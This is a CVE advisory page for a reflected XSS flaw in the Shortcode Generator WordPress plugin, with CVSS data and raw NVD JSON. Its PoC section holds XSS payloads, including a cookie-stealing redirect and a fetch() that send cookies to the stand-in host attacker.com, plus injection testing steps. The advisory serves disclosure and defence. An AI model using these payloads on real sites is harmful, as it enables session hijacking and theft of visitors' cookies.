Security Vulnerability Report
中文
CVE-2025-49945 CVSS 7.1 HIGH

CVE-2025-49945

Published: 2025-10-22 15:15:41
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in kylegetson Shortcode Generator shortcode-generator allows Reflected XSS.This issue affects Shortcode Generator: from n/a through <= 1.1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

kylegetson Shortcode Generator shortcode-generator <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-49945 PoC - Reflected XSS in WordPress Shortcode Generator Plugin --> <!-- Target: kylegetson Shortcode Generator <= 1.1 --> <!-- Attack Vector: Malicious URL with XSS payload in shortcode parameter --> <!-- Example 1: Basic XSS Alert --> <!-- Replace YOUR_TARGET_URL with actual WordPress site URL --> <!-- <a href="http://YOUR_TARGET_URL/wordpress/?page_id=X&shortcode=<script>alert('XSS')</script>">Click Here</a> --> <!-- Example 2: Cookie Stealing Payload --> <!-- <a href="http://YOUR_TARGET_URL/wordpress/?page_id=X&shortcode=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>">View Post</a> --> <!-- Example 3: Session Hijacking with fetch API --> <!-- <script> fetch('http://attacker.com/log?data='+btoa(document.cookie)); </script> --> <!-- Recommended Testing Steps: --> <!-- 1. Install WordPress with shortcode-generator plugin <= 1.1 --> <!-- 2. Identify the vulnerable parameter endpoint --> <!-- 3. Inject various XSS payloads to confirm vulnerability --> <!-- 4. Test for context bypass techniques if basic payload fails -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49945", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:40.713", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in kylegetson Shortcode Generator shortcode-generator allows Reflected XSS.This issue affects Shortcode Generator: from n/a through <= 1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/shortcode-generator/vulnerability/wordpress-shortcode-generator-plugin-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}